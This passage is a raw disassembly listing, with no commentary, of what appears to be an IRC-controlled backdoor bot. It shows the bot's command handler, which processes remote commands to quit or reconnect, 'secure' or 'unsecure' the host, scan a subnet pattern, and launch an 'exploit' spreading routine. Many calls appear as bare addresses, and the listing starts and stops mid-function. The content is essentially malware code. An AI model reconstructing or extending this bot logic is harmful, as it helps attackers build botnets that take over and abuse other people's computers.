loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax call near ptr 2650A62h nop push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h call near ptr 2660000h nop jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j nop call near ptr 2660882h push eax push offset unk_42BDAC loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD70 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h call near ptr 2660000h nop jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2660882h push eax push offset unk_42BD34 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD10 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE4 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB8 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC94 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC68 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC50 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC34 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC08 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBE0 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBC0 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh nop call near ptr 2670678h xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB88 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB68 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB44 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 2660000h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 2660882h push eax lea eax, [ebp+var_2C4] push offset unk_42BB08 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAEC push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAD0 jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB4 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA9C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 2660000h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2660882h push eax push offset unk_42BA64 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA4C call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA48 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA28 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h call near ptr 2660000h nop jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2660882h push eax push offset unk_42B9EC jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D4 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A8 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B958 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B924 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B914 push offset dword_42B904 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F8 push offset dword_42B8E8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8C0 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h nop call near ptr 2660000h jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2660882h push eax push offset dword_42B884 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B858 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 266006Bh mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 2660000h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2660882h push eax push offset unk_42B818 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E4 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx call near ptr 266006Bh nop mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h nop call near ptr 2660000h jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj call near ptr 2660882h nop push eax push offset dword_42B7A8 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F8 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E8 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9C4 push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6BC jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B690 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9C4 loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C938 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx nop call near ptr 77E75CB5h loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B654 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] nop call near ptr 71AB157Eh movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B614 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E8 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push edi push eax mov [ebp+var_13EC], 1 call sub_41B980 add esp, 0Ch lea eax, 